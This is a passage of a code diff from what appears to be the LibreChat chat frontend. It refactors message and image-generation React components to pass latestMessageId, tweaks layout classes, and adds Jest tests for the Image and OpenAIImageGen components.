|
|
||||||
}
|
|
||||||
|
|
||||||
return () => {
|
|
||||||
resizeObserver.disconnect();
|
|
||||||
};
|
|
||||||
}, [updateDimensions]);
|
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<>
|
<>
|
||||||
<div className="relative my-2.5 flex size-5 shrink-0 items-center gap-2.5">
|
<div className="relative my-2.5 flex size-5 shrink-0 items-center gap-2.5">
|
||||||
<ProgressText progress={progress} error={cancelled} toolName={toolName} />
|
<ProgressText progress={progress} error={cancelled} toolName={toolName} />
|
||||||
</div>
|
</div>
|
||||||
<div className="relative mb-2 flex w-full justify-start">
|
<div className={cn('relative mb-2 flex w-full max-w-lg justify-start', IMAGE_MAX_H)}>
|
||||||
<div ref={containerRef} className="w-full max-w-lg">
|
<div className={cn('overflow-hidden', progress < 1 ? [IMAGE_FULL_H, 'w-full'] : 'w-auto')}>
|
||||||
{dimensions.width !== 'auto' && progress < 1 && (
|
{progress < 1 && <PixelCard variant="default" progress={progress} randomness={0.6} />}
|
||||||
<PixelCard
|
|
||||||
variant="default"
|
|
||||||
progress={progress}
|
|
||||||
randomness={0.6}
|
|
||||||
width={dimensions.width}
|
|
||||||
height={dimensions.height}
|
|
||||||
/>
|
|
||||||
)}
|
|
||||||
<Image
|
<Image
|
||||||
|
width={imgWidth}
|
||||||
|
args={parsedArgs}
|
||||||
|
height={imgHeight}
|
||||||
altText={filename}
|
altText={filename}
|
||||||
imagePath={filepath ?? ''}
|
imagePath={filepath ?? ''}
|
||||||
width={Number(dimensions.width?.split('px')[0])}
|
className={progress < 1 ? 'invisible absolute' : ''}
|
||||||
height={Number(dimensions.height?.split('px')[0])}
|
|
||||||
placeholderDimensions={{ width: dimensions.width, height: dimensions.height }}
|
|
||||||
args={parsedArgs}
|
|
||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
|
||||||
|
|
@ -17,7 +17,7 @@ type ContentType =
|
||||||
| ReactElement<React.ComponentProps<typeof MarkdownLite>>
|
| ReactElement<React.ComponentProps<typeof MarkdownLite>>
|
||||||
| ReactElement;
|
| ReactElement;
|
||||||
|
|
||||||
const TextPart = memo(({ text, isCreatedByUser, showCursor }: TextPartProps) => {
|
const TextPart = memo(function TextPart({ text, isCreatedByUser, showCursor }: TextPartProps) {
|
||||||
const { isSubmitting = false, isLatestMessage = false } = useMessageContext();
|
const { isSubmitting = false, isLatestMessage = false } = useMessageContext();
|
||||||
const enableUserMsgMarkdown = useRecoilValue(store.enableUserMsgMarkdown);
|
const enableUserMsgMarkdown = useRecoilValue(store.enableUserMsgMarkdown);
|
||||||
const showCursorState = useMemo(() => showCursor && isSubmitting, [showCursor, isSubmitting]);
|
const showCursorState = useMemo(() => showCursor && isSubmitting, [showCursor, isSubmitting]);
|
||||||
|
|
@ -46,5 +46,6 @@ const TextPart = memo(({ text, isCreatedByUser, showCursor }: TextPartProps) =>
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
});
|
});
|
||||||
|
TextPart.displayName = 'TextPart';
|
||||||
|
|
||||||
export default TextPart;
|
export default TextPart;
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,179 @@
|
||||||
|
import React from 'react';
|
||||||
|
import { render, screen, fireEvent } from '@testing-library/react';
|
||||||
|
import Image, { _resetImageCaches } from '../Image';
|
||||||
|
|
||||||
|
jest.mock('~/utils', () => ({
|
||||||
|
cn: (...classes: (string | boolean | undefined | null)[]) =>
|
||||||
|
classes
|
||||||
|
.flat(Infinity)
|
||||||
|
.filter((c): c is string => typeof c === 'string' && c.length > 0)
|
||||||
|
.join(' '),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('librechat-data-provider', () => ({
|
||||||
|
apiBaseUrl: () => '',
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('@librechat/client', () => ({
|
||||||
|
Skeleton: ({ className, ...props }: React.HTMLAttributes<HTMLDivElement>) => (
|
||||||
|
<div data-testid="skeleton" className={className} {...props} />
|
||||||
|
),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('../DialogImage', () => ({
|
||||||
|
__esModule: true,
|
||||||
|
default: ({ isOpen, src }: { isOpen: boolean; src: string }) =>
|
||||||
|
isOpen ? <div data-testid="dialog-image" data-src={src} /> : null,
|
||||||
|
}));
|
||||||
|
|
||||||
|
describe('Image', () => {
|
||||||
|
const defaultProps = {
|
||||||
|
imagePath: '/images/test.png',
|
||||||
|
altText: 'Test image',
|
||||||
|
};
|
||||||
|
|
||||||
|
beforeEach(() => {
|
||||||
|
_resetImageCaches();
|
||||||
|
jest.clearAllMocks();
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('rendering without dimensions', () => {
|
||||||
|
it('renders with max-h-[45vh] height constraint', () => {
|
||||||
|
render(<Image {...defaultProps} />);
|
||||||
|
const img = screen.getByRole('img');
|
||||||
|
expect(img.className).toContain('max-h-[45vh]');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('renders with max-w-full to prevent landscape clipping', () => {
|
||||||
|
render(<Image {...defaultProps} />);
|
||||||
|
const img = screen.getByRole('img');
|
||||||
|
expect(img.className).toContain('max-w-full');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('renders with w-auto and h-auto for natural aspect ratio', () => {
|
||||||
|
render(<Image {...defaultProps} />);
|
||||||
|
const img = screen.getByRole('img');
|
||||||
|
expect(img.className).toContain('w-auto');
|
||||||
|
expect(img.className).toContain('h-auto');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('does not show skeleton without dimensions', () => {
|
||||||
|
render(<Image {...defaultProps} />);
|
||||||
|
expect(screen.queryByTestId('skeleton')).not.toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('does not apply heightStyle without dimensions', () => {
|
||||||
|
render(<Image {...defaultProps} />);
|
||||||
|
const button = screen.getByRole('button');
|
||||||
|
expect(button.style.height).toBeFalsy();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('rendering with dimensions', () => {
|
||||||
|
it('shows skeleton behind image', () => {
|
||||||
|
render(<Image {...defaultProps} width={1024} height={1792} />);
|
||||||
|
expect(screen.getByTestId('skeleton')).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('applies computed heightStyle to button', () => {
|
||||||
|
render(<Image {...defaultProps} width={1024} height={1792} />);
|
||||||
|
const button = screen.getByRole('button');
|
||||||
|
expect(button.style.height).toBeTruthy();
|
||||||
|
expect(button.style.height).toContain('min(45vh');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('uses size-full object-contain on image when dimensions provided', () => {
|
||||||
|
render(<Image {...defaultProps} width={768} height={916} />);
|
||||||
|
const img = screen.getByRole('img');
|
||||||
|
expect(img.className).toContain('size-full');
|
||||||
|
expect(img.className).toContain('object-contain');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('skeleton is absolute inset-0', () => {
|
||||||
|
render(<Image {...defaultProps} width={512} height={512} />);
|
||||||
|
const skeleton = screen.getByTestId('skeleton');
|
||||||
|
expect(skeleton.className).toContain('absolute');
|
||||||
|
expect(skeleton.className).toContain('inset-0');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('marks URL as painted on load and skips skeleton on rerender', () => {
|
||||||
|
const { rerender } = render(<Image {...defaultProps} width={512} height={512} />);
|
||||||
|
const img = screen.getByRole('img');
|
||||||
|
|
||||||
|
expect(screen.getByTestId('skeleton')).toBeInTheDocument();
|
||||||
|
|
||||||
|
fireEvent.load(img);
|
||||||
|
|
||||||
|
// Rerender same component — skeleton should not show (URL painted)
|
||||||
|
rerender(<Image {...defaultProps} width={512} height={512} />);
|
||||||
|
expect(screen.queryByTestId('skeleton')).not.toBeInTheDocument();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('common behavior', () => {
|
||||||
|
it('applies custom className to the button wrapper', () => {
|
||||||
|
render(<Image {...defaultProps} className="mb-4" />);
|
||||||
|
const button = screen.getByRole('button');
|
||||||
|
expect(button.className).toContain('mb-4');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('sets correct alt text', () => {
|
||||||
|
render(<Image {...defaultProps} />);
|
||||||
|
const img = screen.getByRole('img');
|
||||||
|
expect(img).toHaveAttribute('alt', 'Test image');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('has correct accessibility attributes on button', () => {
|
||||||
|
render(<Image {...defaultProps} />);
|
||||||
|
const button = screen.getByRole('button');
|
||||||
|
expect(button).toHaveAttribute('aria-label', 'View Test image in dialog');
|
||||||
|
expect(button).toHaveAttribute('aria-haspopup', 'dialog');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('dialog interaction', () => {
|
||||||
|
it('opens dialog on button click', () => {
|
||||||
|
render(<Image {...defaultProps} />);
|
||||||
|
expect(screen.queryByTestId('dialog-image')).not.toBeInTheDocument();
|
||||||
|
|
||||||
|
const button = screen.getByRole('button');
|
||||||
|
fireEvent.click(button);
|
||||||
|
|
||||||
|
expect(screen.getByTestId('dialog-image')).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('dialog is always mounted (not gated by load state)', () => {
|
||||||
|
render(<Image {...defaultProps} />);
|
||||||
|
// DialogImage mock returns null when isOpen=false, but the component is in the tree
|
||||||
|
// Clicking should immediately show it
|
||||||
|
fireEvent.click(screen.getByRole('button'));
|
||||||
|
expect(screen.getByTestId('dialog-image')).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('image URL resolution', () => {
|
||||||
|
it('passes /images/ paths through with base URL', () => {
|
||||||
|
render(<Image {...defaultProps} imagePath="/images/test.png" />);
|
||||||
|
const img = screen.getByRole('img');
|
||||||
|
expect(img).toHaveAttribute('src', '/images/test.png');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('passes absolute http URLs through unchanged', () => {
|
||||||
|
render(<Image {...defaultProps} imagePath="https://example.com/photo.jpg" />);
|
||||||
|
const img = screen.getByRole('img');
|
||||||
|
expect(img).toHaveAttribute('src', 'https://example.com/photo.jpg');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('passes data URIs through unchanged', () => {
|
||||||
|
render(<Image {...defaultProps} imagePath="data:image/png;base64,abc" />);
|
||||||
|
const img = screen.getByRole('img');
|
||||||
|
expect(img).toHaveAttribute('src', 'data:image/png;base64,abc');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('passes non-/images/ paths through unchanged', () => {
|
||||||
|
render(<Image {...defaultProps} imagePath="/other/path.png" />);
|
||||||
|
const img = screen.getByRole('img');
|
||||||
|
expect(img).toHaveAttribute('src', '/other/path.png');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
@ -0,0 +1,182 @@
|
||||||
|
import React from 'react';
|
||||||
|
import { render, screen } from '@testing-library/react';
|
||||||
|
import OpenAIImageGen from '../Parts/OpenAIImageGen/OpenAIImageGen';
|
||||||
|
|
||||||
|
jest.mock('~/utils', () => ({
|
||||||
|
cn: (...classes: (string | boolean | undefined | null)[]) =>
|
||||||
|
classes
|
||||||
|
.flat(Infinity)
|
||||||
|
.filter((c): c is string => typeof c === 'string' && c.length > 0)
|
||||||
|
.join(' '),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('~/hooks', () => ({
|
||||||
|
useLocalize: () => (key: string) => key,
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('~/components/Chat/Messages/Content/Image', () => ({
|
||||||
|
__esModule: true,
|
||||||
|
default: ({
|
||||||
|
altText,
|
||||||
|
imagePath,
|
||||||
|
className,
|
||||||
|
}: {
|
||||||
|
altText: string;
|
||||||
|
imagePath: string;
|
||||||
|
className?: string;
|
||||||
|
}) => (
|
||||||
|
<div
|
||||||
|
data-testid="image-component"
|
||||||
|
data-alt={altText}
|
||||||
|
data-src={imagePath}
|
||||||
|
className={className}
|
||||||
|
/>
|
||||||
|
),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('@librechat/client', () => ({
|
||||||
|
PixelCard: ({ progress }: { progress: number }) => (
|
||||||
|
<div data-testid="pixel-card" data-progress={progress} />
|
||||||
|
),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('../Parts/OpenAIImageGen/ProgressText', () => ({
|
||||||
|
__esModule: true,
|
||||||
|
default: ({ progress, error }: { progress: number; error: boolean }) => (
|
||||||
|
<div data-testid="progress-text" data-progress={progress} data-error={String(error)} />
|
||||||
|
),
|
||||||
|
}));
|
||||||
|
|
||||||
|
describe('OpenAIImageGen', () => {
|
||||||
|
const defaultProps = {
|
||||||
|
initialProgress: 0.1,
|
||||||
|
isSubmitting: true,
|
||||||
|
toolName: 'image_gen_oai',
|
||||||
|
args: '{"prompt":"a cat","quality":"high","size":"1024x1024"}',
|
||||||
|
output: null as string | null,
|
||||||
|
attachments: undefined,
|
||||||
|
};
|
||||||
|
|
||||||
|
beforeEach(() => {
|
||||||
|
jest.clearAllMocks();
|
||||||
|
jest.useFakeTimers();
|
||||||
|
});
|
||||||
|
|
||||||
|
afterEach(() => {
|
||||||
|
jest.useRealTimers();
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('image preloading', () => {
|
||||||
|
it('keeps Image mounted during generation (progress < 1)', () => {
|
||||||
|
render(<OpenAIImageGen {...defaultProps} initialProgress={0.5} />);
|
||||||
|
expect(screen.getByTestId('image-component')).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('hides Image with invisible absolute while progress < 1', () => {
|
||||||
|
render(<OpenAIImageGen {...defaultProps} initialProgress={0.5} />);
|
||||||
|
const image = screen.getByTestId('image-component');
|
||||||
|
expect(image.className).toContain('invisible');
|
||||||
|
expect(image.className).toContain('absolute');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('shows Image without hiding classes when progress >= 1', () => {
|
||||||
|
render(
|
||||||
|
<OpenAIImageGen
|
||||||
|
{...defaultProps}
|
||||||
|
initialProgress={1}
|
||||||
|
isSubmitting={false}
|
||||||
|
attachments={[
|
||||||
|
{
|
||||||
|
filename: 'cat.png',
|
||||||
|
filepath: '/images/cat.png',
|
||||||
|
conversationId: 'conv1',
|
||||||
|
} as never,
|
||||||
|
]}
|
||||||
|
/>,
|
||||||
|
);
|
||||||
|
const image = screen.getByTestId('image-component');
|
||||||
|
expect(image.className).not.toContain('invisible');
|
||||||
|
expect(image.className).not.toContain('absolute');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('PixelCard visibility', () => {
|
||||||
|
it('shows PixelCard when progress < 1', () => {
|
||||||
|
render(<OpenAIImageGen {...defaultProps} initialProgress={0.5} />);
|
||||||
|
expect(screen.getByTestId('pixel-card')).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('hides PixelCard when progress >= 1', () => {
|
||||||
|
render(<OpenAIImageGen {...defaultProps} initialProgress={1} isSubmitting={false} />);
|
||||||
|
expect(screen.queryByTestId('pixel-card')).not.toBeInTheDocument();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('layout classes', () => {
|
||||||
|
it('applies max-h-[45vh] to the outer container', () => {
|
||||||
|
const { container } = render(<OpenAIImageGen {...defaultProps} />);
|
||||||
|
const outerDiv = container.querySelector('[class*="max-h-"]');
|
||||||
|
expect(outerDiv?.className).toContain('max-h-[45vh]');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('applies h-[45vh] w-full to inner container during loading', () => {
|
||||||
|
const { container } = render(<OpenAIImageGen {...defaultProps} initialProgress={0.5} />);
|
||||||
|
const innerDiv = container.querySelector('[class*="h-[45vh]"]');
|
||||||
|
expect(innerDiv).not.toBeNull();
|
||||||
|
expect(innerDiv?.className).toContain('w-full');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('applies w-auto to inner container when complete', () => {
|
||||||
|
const { container } = render(
|
||||||
|
<OpenAIImageGen {...defaultProps} initialProgress={1} isSubmitting={false} />,
|
||||||
|
);
|
||||||
|
const overflowDiv = container.querySelector('[class*="overflow-hidden"]');
|
||||||
|
expect(overflowDiv?.className).toContain('w-auto');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('args parsing', () => {
|
||||||
|
it('parses quality from args', () => {
|
||||||
|
render(<OpenAIImageGen {...defaultProps} />);
|
||||||
|
expect(screen.getByTestId('progress-text')).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('handles invalid JSON args gracefully', () => {
|
||||||
|
const consoleSpy = jest.spyOn(console, 'error').mockImplementation();
|
||||||
|
render(<OpenAIImageGen {...defaultProps} args="invalid json" />);
|
||||||
|
expect(screen.getByTestId('image-component')).toBeInTheDocument();
|
||||||
|
consoleSpy.mockRestore();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('handles object args', () => {
|
||||||
|
render(
|
||||||
|
<OpenAIImageGen
|
||||||
|
{...defaultProps}
|
||||||
|
args={{ prompt: 'a dog', quality: 'low', size: '512x512' }}
|
||||||
|
/>,
|
||||||
|
);
|
||||||
|
expect(screen.getByTestId('image-component')).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('cancellation', () => {
|
||||||
|
it('shows error state when output contains error', () => {
|
||||||
|
render(
|
||||||
|
<OpenAIImageGen
|
||||||
|
{...defaultProps}
|
||||||
|
output="Error processing tool call"
|
||||||
|
isSubmitting={false}
|
||||||
|
initialProgress={0.5}
|
||||||
|
/>,
|
||||||
|
);
|
||||||
|
const progressText = screen.getByTestId('progress-text');
|
||||||
|
expect(progressText).toHaveAttribute('data-error', 'true');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('shows cancelled state when not submitting and incomplete', () => {
|
||||||
|
render(<OpenAIImageGen {...defaultProps} isSubmitting={false} initialProgress={0.5} />);
|
||||||
|
const progressText = screen.getByTestId('progress-text');
|
||||||
|
expect(progressText).toHaveAttribute('data-error', 'true');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
@ -18,7 +18,7 @@ type THoverButtons = {
|
||||||
message: TMessage;
|
message: TMessage;
|
||||||
regenerate: () => void;
|
regenerate: () => void;
|
||||||
handleContinue: (e: React.MouseEvent<HTMLButtonElement>) => void;
|
handleContinue: (e: React.MouseEvent<HTMLButtonElement>) => void;
|
||||||
latestMessage: TMessage | null;
|
latestMessageId?: string;
|
||||||
isLast: boolean;
|
isLast: boolean;
|
||||||
index: number;
|
index: number;
|
||||||
handleFeedback?: ({ feedback }: { feedback: TFeedback | undefined }) => void;
|
handleFeedback?: ({ feedback }: { feedback: TFeedback | undefined }) => void;
|
||||||
|
|
@ -119,7 +119,7 @@ const HoverButtons = ({
|
||||||
message,
|
message,
|
||||||
regenerate,
|
regenerate,
|
||||||
handleContinue,
|
handleContinue,
|
||||||
latestMessage,
|
latestMessageId,
|
||||||
isLast,
|
isLast,
|
||||||
handleFeedback,
|
handleFeedback,
|
||||||
}: THoverButtons) => {
|
}: THoverButtons) => {
|
||||||
|
|
@ -143,7 +143,7 @@ const HoverButtons = ({
|
||||||
searchResult: message.searchResult,
|
searchResult: message.searchResult,
|
||||||
finish_reason: message.finish_reason,
|
finish_reason: message.finish_reason,
|
||||||
isCreatedByUser: message.isCreatedByUser,
|
isCreatedByUser: message.isCreatedByUser,
|
||||||
latestMessageId: latestMessage?.messageId,
|
latestMessageId: latestMessageId,
|
||||||
});
|
});
|
||||||
|
|
||||||
const {
|
const {
|
||||||
|
|
@ -239,7 +239,7 @@ const HoverButtons = ({
|
||||||
messageId={message.messageId}
|
messageId={message.messageId}
|
||||||
conversationId={conversation.conversationId}
|
conversationId={conversation.conversationId}
|
||||||
forkingSupported={forkingSupported}
|
forkingSupported={forkingSupported}
|
||||||
latestMessageId={latestMessage?.messageId}
|
latestMessageId={latestMessageId}
|
||||||
isLast={isLast}
|
isLast={isLast}
|
||||||
/>
|
/>
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -4,25 +4,23 @@ import type { TMessageProps } from '~/common';
|
||||||
import MessageRender from './ui/MessageRender';
|
import MessageRender from './ui/MessageRender';
|
||||||
import MultiMessage from './MultiMessage';
|
import MultiMessage from './MultiMessage';
|
||||||
|
|
||||||
const MessageContainer = React.memo(
|
const MessageContainer = React.memo(function MessageContainer({
|
||||||
({
|
handleScroll,
|
||||||
handleScroll,
|
children,
|
||||||
children,
|
}: {
|
||||||
}: {
|
handleScroll: (event?: unknown) => void;
|
||||||
handleScroll: (event?: unknown) => void;
|
children: React.ReactNode;
|
||||||
children: React.ReactNode;
|
}) {
|
||||||
}) => {
|
return (
|
||||||
return (
|
<div
|
||||||
<div
|
className="text-token-text-primary w-full border-0 bg-transparent dark:border-0 dark:bg-transparent"
|
||||||
className="text-token-text-primary w-full border-0 bg-transparent dark:border-0 dark:bg-transparent"
|
onWheel={handleScroll}
|
||||||
onWheel={handleScroll}
|
onTouchMove={handleScroll}
|
||||||
onTouchMove={handleScroll}
|
>
|
||||||
>
|
{children}
|
||||||
{children}
|
</div>
|
||||||
</div>
|
);
|
||||||
);
|
});
|
||||||
},
|
|
||||||
);
|
|
||||||
|
|
||||||
export default function Message(props: TMessageProps) {
|
export default function Message(props: TMessageProps) {
|
||||||
const { conversation, handleScroll } = useMessageProcess({
|
const { conversation, handleScroll } = useMessageProcess({
|
||||||
|
|
|
||||||
|
|
@ -32,7 +32,7 @@ export default function Message(props: TMessageProps) {
|
||||||
handleScroll,
|
handleScroll,
|
||||||
conversation,
|
conversation,
|
||||||
isSubmitting,
|
isSubmitting,
|
||||||
latestMessage,
|
latestMessageId,
|
||||||
handleContinue,
|
handleContinue,
|
||||||
copyToClipboard,
|
copyToClipboard,
|
||||||
regenerateMessage,
|
regenerateMessage,
|
||||||
|
|
@ -129,7 +129,7 @@ export default function Message(props: TMessageProps) {
|
||||||
</h2>
|
</h2>
|
||||||
)}
|
)}
|
||||||
<div className="flex flex-col gap-1">
|
<div className="flex flex-col gap-1">
|
||||||
<div className="flex max-w-full flex-grow flex-col gap-0">
|
<div className="flex min-h-[20px] max-w-full flex-grow flex-col gap-0">
|
||||||
<ContentParts
|
<ContentParts
|
||||||
edit={edit}
|
edit={edit}
|
||||||
isLast={isLast}
|
isLast={isLast}
|
||||||
|
|
@ -142,12 +142,12 @@ export default function Message(props: TMessageProps) {
|
||||||
setSiblingIdx={setSiblingIdx}
|
setSiblingIdx={setSiblingIdx}
|
||||||
isCreatedByUser={message.isCreatedByUser}
|
isCreatedByUser={message.isCreatedByUser}
|
||||||
conversationId={conversation?.conversationId}
|
conversationId={conversation?.conversationId}
|
||||||
isLatestMessage={messageId === latestMessage?.messageId}
|
isLatestMessage={messageId === latestMessageId}
|
||||||
content={message.content as Array<TMessageContentParts | undefined>}
|
content={message.content as Array<TMessageContentParts | undefined>}
|
||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
{isLast && isSubmitting ? (
|
{isLast && isSubmitting ? (
|
||||||
<div className="mt-1 h-[27px] bg-transparent" />
|
<div className="mt-1 h-[31px] bg-transparent" />
|
||||||
) : (
|
) : (
|
||||||
<SubRow classes="text-xs">
|
<SubRow classes="text-xs">
|
||||||
<SiblingSwitch
|
<SiblingSwitch
|
||||||
|
|
@ -165,7 +165,7 @@ export default function Message(props: TMessageProps) {
|
||||||
regenerate={() => regenerateMessage()}
|
regenerate={() => regenerateMessage()}
|
||||||
copyToClipboard={copyToClipboard}
|
copyToClipboard={copyToClipboard}
|
||||||
handleContinue={handleContinue}
|
handleContinue={handleContinue}
|
||||||
latestMessage={latestMessage}
|
latestMessageId={latestMessageId}
|
||||||
isLast={isLast}
|
isLast={isLast}
|
||||||
/>
|
/>
|
||||||
</SubRow>
|
</SubRow>
|
||||||
|
|
|
||||||
|
|
@ -4,11 +4,11 @@ import { useRecoilValue } from 'recoil';
|
||||||
import { type TMessage } from 'librechat-data-provider';
|
import { type TMessage } from 'librechat-data-provider';
|
||||||
import type { TMessageProps, TMessageIcon } from '~/common';
|
import type { TMessageProps, TMessageIcon } from '~/common';
|
||||||
import MessageContent from '~/components/Chat/Messages/Content/MessageContent';
|
import MessageContent from '~/components/Chat/Messages/Content/MessageContent';
|
||||||
|
import { useLocalize, useMessageActions, useContentMetadata } from '~/hooks';
|
||||||
import PlaceholderRow from '~/components/Chat/Messages/ui/PlaceholderRow';
|
import PlaceholderRow from '~/components/Chat/Messages/ui/PlaceholderRow';
|
||||||
import SiblingSwitch from '~/components/Chat/Messages/SiblingSwitch';
|
import SiblingSwitch from '~/components/Chat/Messages/SiblingSwitch';
|
||||||
import HoverButtons from '~/components/Chat/Messages/HoverButtons';
|
import HoverButtons from '~/components/Chat/Messages/HoverButtons';
|
||||||
import MessageIcon from '~/components/Chat/Messages/MessageIcon';
|
import MessageIcon from '~/components/Chat/Messages/MessageIcon';
|
||||||
import { useLocalize, useMessageActions, useContentMetadata } from '~/hooks';
|
|
||||||
import SubRow from '~/components/Chat/Messages/SubRow';
|
import SubRow from '~/components/Chat/Messages/SubRow';
|
||||||
import { cn, getMessageAriaLabel } from '~/utils';
|
import { cn, getMessageAriaLabel } from '~/utils';
|
||||||
import { fontSizeAtom } from '~/store/fontSize';
|
import { fontSizeAtom } from '~/store/fontSize';
|
||||||
|
|
@ -23,180 +23,183 @@ type MessageRenderProps = {
|
||||||
'currentEditId' | 'setCurrentEditId' | 'siblingIdx' | 'setSiblingIdx' | 'siblingCount'
|
'currentEditId' | 'setCurrentEditId' | 'siblingIdx' | 'setSiblingIdx' | 'siblingCount'
|
||||||
>;
|
>;
|
||||||
|
|
||||||
const MessageRender = memo(
|
const MessageRender = memo(function MessageRender({
|
||||||
({
|
message: msg,
|
||||||
|
siblingIdx,
|
||||||
|
siblingCount,
|
||||||
|
setSiblingIdx,
|
||||||
|
currentEditId,
|
||||||
|
setCurrentEditId,
|
||||||
|
isSubmitting = false,
|
||||||
|
}: MessageRenderProps) {
|
||||||
|
const localize = useLocalize();
|
||||||
|
const {
|
||||||
|
ask,
|
||||||
|
edit,
|
||||||
|
index,
|
||||||
|
agent,
|
||||||
|
assistant,
|
||||||
|
enterEdit,
|
||||||
|
conversation,
|
||||||
|
messageLabel,
|
||||||
|
handleFeedback,
|
||||||
|
handleContinue,
|
||||||
|
latestMessageId,
|
||||||
|
copyToClipboard,
|
||||||
|
regenerateMessage,
|
||||||
|
latestMessageDepth,
|
||||||
|
} = useMessageActions({
|
||||||
message: msg,
|
message: msg,
|
||||||
siblingIdx,
|
|
||||||
siblingCount,
|
|
||||||
setSiblingIdx,
|
|
||||||
currentEditId,
|
currentEditId,
|
||||||
setCurrentEditId,
|
setCurrentEditId,
|
||||||
isSubmitting = false,
|
});
|
||||||
}: MessageRenderProps) => {
|
const fontSize = useAtomValue(fontSizeAtom);
|
||||||
const localize = useLocalize();
|
const maximizeChatSpace = useRecoilValue(store.maximizeChatSpace);
|
||||||
const {
|
|
||||||
ask,
|
const handleRegenerateMessage = useCallback(() => regenerateMessage(), [regenerateMessage]);
|
||||||
edit,
|
const hasNoChildren = !(msg?.children?.length ?? 0);
|
||||||
index,
|
const isLast = useMemo(
|
||||||
agent,
|
() => hasNoChildren && (msg?.depth === latestMessageDepth || msg?.depth === -1),
|
||||||
assistant,
|
[hasNoChildren, msg?.depth, latestMessageDepth],
|
||||||
enterEdit,
|
);
|
||||||
conversation,
|
const isLatestMessage = msg?.messageId === latestMessageId;
|
||||||
|
/** Only pass isSubmitting to the latest message to prevent unnecessary re-renders */
|
||||||
|
const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false;
|
||||||
|
|
||||||
|
const iconData: TMessageIcon = useMemo(
|
||||||
|
() => ({
|
||||||
|
endpoint: msg?.endpoint ?? conversation?.endpoint,
|
||||||
|
model: msg?.model ?? conversation?.model,
|
||||||
|
iconURL: msg?.iconURL,
|
||||||
|
modelLabel: messageLabel,
|
||||||
|
isCreatedByUser: msg?.isCreatedByUser,
|
||||||
|
}),
|
||||||
|
[
|
||||||
messageLabel,
|
messageLabel,
|
||||||
latestMessage,
|
conversation?.endpoint,
|
||||||
handleFeedback,
|
conversation?.model,
|
||||||
handleContinue,
|
msg?.model,
|
||||||
copyToClipboard,
|
msg?.iconURL,
|
||||||
regenerateMessage,
|
msg?.endpoint,
|
||||||
} = useMessageActions({
|
msg?.isCreatedByUser,
|
||||||
message: msg,
|
],
|
||||||
currentEditId,
|
);
|
||||||
setCurrentEditId,
|
|
||||||
});
|
|
||||||
const fontSize = useAtomValue(fontSizeAtom);
|
|
||||||
const maximizeChatSpace = useRecoilValue(store.maximizeChatSpace);
|
|
||||||
|
|
||||||
const handleRegenerateMessage = useCallback(() => regenerateMessage(), [regenerateMessage]);
|
const { hasParallelContent } = useContentMetadata(msg);
|
||||||
const hasNoChildren = !(msg?.children?.length ?? 0);
|
const messageId = msg?.messageId ?? '';
|
||||||
const isLast = useMemo(
|
const messageContextValue = useMemo(
|
||||||
() => hasNoChildren && (msg?.depth === latestMessage?.depth || msg?.depth === -1),
|
() => ({
|
||||||
[hasNoChildren, msg?.depth, latestMessage?.depth],
|
messageId,
|
||||||
);
|
isLatestMessage,
|
||||||
const isLatestMessage = msg?.messageId === latestMessage?.messageId;
|
isExpanded: false as const,
|
||||||
/** Only pass isSubmitting to the latest message to prevent unnecessary re-renders */
|
isSubmitting: effectiveIsSubmitting,
|
||||||
const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false;
|
conversationId: conversation?.conversationId,
|
||||||
|
}),
|
||||||
|
[messageId, conversation?.conversationId, effectiveIsSubmitting, isLatestMessage],
|
||||||
|
);
|
||||||
|
|
||||||
const iconData: TMessageIcon = useMemo(
|
if (!msg) {
|
||||||
() => ({
|
return null;
|
||||||
